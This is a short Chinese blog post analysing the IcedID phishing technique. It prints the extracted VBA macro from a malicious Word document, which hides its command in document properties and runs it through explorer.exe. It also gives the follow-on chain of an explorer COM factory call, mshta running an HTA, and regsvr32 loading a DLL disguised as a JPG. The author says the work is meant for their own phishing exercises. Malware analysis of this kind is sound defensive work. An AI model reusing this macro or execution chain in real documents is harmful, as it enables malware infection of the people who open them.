IcedID恶意文档钓鱼手法剖析

利用oletools静态分析,提取宏代码,如图:

Function contents()
With ActiveDocument.Content.Find
loveDoor = .Execute(FindText:="%1", ReplaceWith:="", Replace:=2)
End With
End Function
Function text1(powGirlLoad)
text1 = ActiveDocument.BuiltInDocumentProperties(powGirlLoad).Value
contents
End Function
Public Function s(dowGirlLoad, tubeGirlPow)
GetObject("", text1("category")).exec StrReverse(" rerolpxe\swodniw\:c") + tubeGirlPow
End Function

注:oletools详细使用教程请转

文档内容肉眼看上去是空白的,但是全选拖出来如下:

通过宏代码处理文档内容,得到hta文件:

另启动一个 Explorer.exe(防止崩溃影响程序活动)后台隐藏插入com功能组件,方便dll执行的同时调用mshta.exe执行hta文件

C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding  //有无逗号,区别很好,自行测试
 "C:\Windows\System32\mshta.exe" C:\Users\admin\Documents\karolYouYou.hta

下载含payload的jpg文件(实质上是dll文件),执行payload

"C:\Windows\System32\regsvr32.exe" c:\users\public\youYou.jpg 

样本:
https://app.any.run/tasks/add39d8b-342c-4e55-9b37-3e3379fce030/
参考资料:
https://zeronohacker.com/398.html
https://www.cnblogs.com/liaocheng/p/4506406.html
https://www.cnblogs.com/yx-zs/p/14338291.html
https://zho.bizadcharityrun.com/434451-explorer-exe-starts-every-five-WQFOTF-article
https://blog.csdn.net/userpass_word/article/details/84307126
https://blog.csdn.net/weixin_44493841/article/details/106645360
ps:萌新分析APT攻击手法,用于自身钓鱼作业,请大佬轻喷,欢迎各位蓝队交流指点 QAQ

posted @ 2021-12-18 00:23  zha0gongz1  阅读(271)  评论(0编辑  收藏  举报